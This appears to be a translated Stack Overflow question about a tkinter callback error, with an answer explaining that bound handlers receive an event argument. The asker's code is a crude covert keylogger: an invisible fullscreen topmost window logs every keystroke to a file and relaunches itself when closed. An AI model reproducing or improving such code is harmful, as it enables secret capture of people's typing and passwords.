为什么我的函数会收到一个参数?

时间:2016-03-14 19:04:44

标签: python tkinter key-bindings

我有这个程序我一直在写,但由于某种原因,on_closing函数正在接收一个参数

代码:

from tkinter import *
from time import sleep

def run():
    global root, target
    target = open("userdata.exe", 'a')
    root = Tk()
    root.attributes("-fullscreen", True)
    root.attributes('-alpha', 0.01)
    root.attributes('-topmost', True)

    def key(event):
        target.write(repr(event.char)+" :")

    frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
    frame.bind("<Key>", key)
    frame.bind("<1>", on_closing)
    frame.pack()
    root.protocol("WM_DELETE_WINDOW", on_closing)
    root.mainloop()

def on_closing():
    root.destroy()
    sleep(10)
    target.close()
    run()


run()

为什么会发生这种情况的任何想法?

1 个答案:

答案 0 :(得分:5)

当将回调传递给某些软件(例如tkinter)时,您必须遵循该系统关于回调签名应该是什么的规则。当tkinter调用绑定方法时,它会传递event参数。见Events and Bindings